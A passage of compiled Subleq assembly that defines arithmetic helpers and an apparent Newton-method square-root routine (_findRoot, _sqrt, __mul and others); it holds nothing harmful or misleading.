?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_mod:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
l90:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t3 Z; Z t1; Z; t4 t1; inc t1
Z t1 l91
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t3 Z; Z t1; Z; t4 t1
t4; t3; bp t4; c1 t4; t4 t3
?+23; ?+21; ?+24; t3 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
Z Z l90
l91:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_mod
end_mod:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_abs:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; c3 Z; Z t2; Z; t3 t2
Z t2 l92
t3; t1; bp t3; c1 t3; t3 t1
t3; t4; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t4
t1; t4 t1
t2; t1 Z; Z t2; Z
Z Z l93
l92:
t4; t3; bp t4; c1 t4; t4 t3
t4; t5; ?+11; t3 Z; Z ?+4; Z; 0 t4; t4 t5
t2; t5 Z; Z t2; Z
l93:
ax; t2 ax
Z Z end_abs
end_abs:
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_pow:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c6 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; dec Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
l94:
t2; t1; bp t2; c6 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
t1; t2; bp t1; c2 t1; t1 t2
t1; t4; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t4
t2; t4 Z; Z t2; Z; t3 t2
Z t2 l96
t3; t4; bp t3; c1 t3; t3 t4
t3; t1; ?+11; t4 Z; Z ?+4; Z; 0 t3; t3 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
t1; t4; bp t1; dec t1; t1 t4
t1; t3; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __mul; . ?;
t3; ax t3
c2 sp
t4; t1; bp t4; dec t4; t4 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l95:
t4; t3; bp t4; c6 t4; t4 t3
t3 Z; ?+9; Z ?+5; Z; inc 0
Z Z l94
l96:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_pow
end_pow:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_f:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c21 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
t3; t2; bp t3; c2 t3; t3 t2
t3; t1; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _pow; . ?;
t1; ax t1
c2 sp
t2; t3; bp t2; c1 t2; t2 t3
t2; t4; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t4
t3; t1 Z; Z t3; Z; t4 t3
ax; t3 ax
Z Z end_f
end_f:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_fPrime:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; dec t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
t2; t3; bp t2; c1 t2; t2 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _pow; . ?;
t1; ax t1
c2 sp
ax; t1 ax
Z Z end_fPrime
end_fPrime:
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_closeEnough:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t3 Z; Z t1; Z; t4 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _abs; . ?;
t1; ax t1
c1 sp
t4; t3; bp t4; c2 t4; t4 t3
t4; t2; ?+11; t3 Z; Z ?+4; Z; 0 t4; t4 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _abs; . ?;
t2; ax t2
c1 sp
t3; t2 Z; Z t3; Z; t1 t3
Z t3 l97
t3; dec Z; Z t3; Z
Z Z l98
l97:
t3; c3 Z; Z t3; Z
l98:
ax; t3 ax
Z Z end_closeEnough
end_closeEnough:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_findRoot:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t4 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _fPrime; . ?;
t4; ax t4
c1 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t4 Z; Z 0; Z
t4; t1; bp t4; c2 t4; t4 t1
t4; t2; ?+11; t1 Z; Z ?+4; Z; 0 t4; t4 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
t2; t1; bp t2; c1 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t4 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _f; . ?;
t4; ax t4
c2 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t4 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _div; . ?;
t4; ax t4
c2 sp
t1; t3 Z; Z t1; Z; t4 t1
t4; t3; bp t4; dec t4; t4 t3
?+23; ?+21; ?+24; t3 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t1; t4; bp t1; c2 t1; t1 t4
t1; t5; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t5
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t5 Z; Z 0; Z
t5; t4; bp t5; dec t5; t5 t4
t5; t1; ?+11; t4 Z; Z ?+4; Z; 0 t5; t5 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _closeEnough; . ?;
t1; ax t1
c2 sp
t4; t1 Z; Z t4 ?+3; Z Z ?+9; Z; t1 t4; t1 t4
Z t4 l99
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_findRoot
Z Z l100
l99:
t2; t1; bp t2; dec t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t4 Z; Z 0; Z
t4; t1; bp t4; c1 t4; t4 t1
t4; t2; ?+11; t1 Z; Z ?+4; Z; 0 t4; t4 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _findRoot; . ?;
t2; ax t2
c2 sp
ax; t2 ax
Z Z end_findRoot
l100:
end_findRoot:
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_sqrt:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; dec Z; Z 0; Z
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _findRoot; . ?;
t3; ax t3
c2 sp
ax; t3 ax
Z Z end_sqrt
end_sqrt:
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_alloca:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c65 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; Z t2 ?+3; Z Z ?+9
t2 Z ?+3; Z Z ?+3; inc t1
Z t1 l141
ax; c5 ax
Z Z end_alloca
Z Z l142
l141:
t2; t3; bp t2; c1 t2; t2 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; dec t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l139
t1; t2; bp t1; dec t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l140
l139:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c6 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 l137
t1; t2; bp t1; c36 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l138
l137:
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; t2 Z; Z t1; Z; c7 t1 ?+3
t1 t1 ?+9; t1 Z ?+3; Z Z ?+3; inc t1
Z t1 l135
t1; t2; bp t1; c37 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l136
l135:
t2; t3; bp t2; c1 t2; t2 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; c25 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l133
t1; t2; bp t1; c38 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l134
l133:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c24 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 l131
t1; t2; bp t1; c39 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l132
l131:
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; t2 Z; Z t1; Z; c64 t1 ?+3
t1 t1 ?+9; t1 Z ?+3; Z Z ?+3; inc t1
Z t1 l129
t1; t2; bp t1; c40 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l130
l129:
t2; t3; bp t2; c1 t2; t2 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; c63 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l127
t1; t2; bp t1; c41 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l128
l127:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c62 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 l125
t1; t2; bp t1; c42 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l126
l125:
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; t2 Z; Z t1; Z; c10 t1 ?+3
t1 t1 ?+9; t1 Z ?+3; Z Z ?+3; inc t1
Z t1 l123
t1; t2; bp t1; c43 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l124
l123:
t2; t3; bp t2; c1 t2; t2 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; c8 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l121
t1; t2; bp t1; c44 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l122
l121:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c11 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 l119
t1; t2; bp t1; c45 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l120
l119:
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; t2 Z; Z t1; Z; c12 t1 ?+3
t1 t1 ?+9; t1 Z ?+3; Z Z ?+3; inc t1
Z t1 l117
t1; t2; bp t1; c46 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l118
l117:
t2; t3; bp t2; c1 t2; t2 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; c9 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l115
t1; t2; bp t1; c47 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l116
l115:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c61 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 l113
t1; t2; bp t1; c48 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l114
l113:
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; t2 Z; Z t1; Z; c60 t1 ?+3
t1 t1 ?+9; t1 Z ?+3; Z Z ?+3; inc t1
Z t1 l111
t1; t2; bp t1; c49 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l112
l111:
t2; t3; bp t2; c1 t2; t2 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; c59 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l109
t1; t2; bp t1; c50 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l110
l109:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c58 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 l107
t1; t2; bp t1; c51 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l108
l107:
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; t2 Z; Z t1; Z; c57 t1 ?+3
t1 t1 ?+9; t1 Z ?+3; Z Z ?+3; inc t1
Z t1 l105
t1; t2; bp t1; c52 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l106
l105:
t2; t3; bp t2; c1 t2; t2 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; c56 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l103
t1; t2; bp t1; c53 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l104
l103:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c55 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 l101
t1; t2; bp t1; c54 t1; t1 t2
ax; t2 ax
Z Z end_alloca
Z Z l102
l101:
ax; c5 ax
Z Z end_alloca
l102:
l104:
l106:
l108:
l110:
l112:
l114:
l116:
l118:
l120:
l122:
l124:
l126:
l128:
l130:
l132:
l134:
l136:
l138:
l140:
l142:
end_alloca:
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_freea:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
t1; t2; bp t1; c1 t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_main:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
__mul:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c7 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; dec Z; Z 0; Z
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; c3 Z; Z t2; Z; t3 t2
Z t2 l143
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; c1 t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; dec t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
l143:
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; c3 Z; Z t2; Z; t3 t2
Z t2 l144
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; c2 t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; dec t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
l144:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t4 Z; Z t1; Z; t3 t1
Z t1 l145
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c6 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c1 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l145:
t1; t2; bp t1; c2 t1; t1 t2
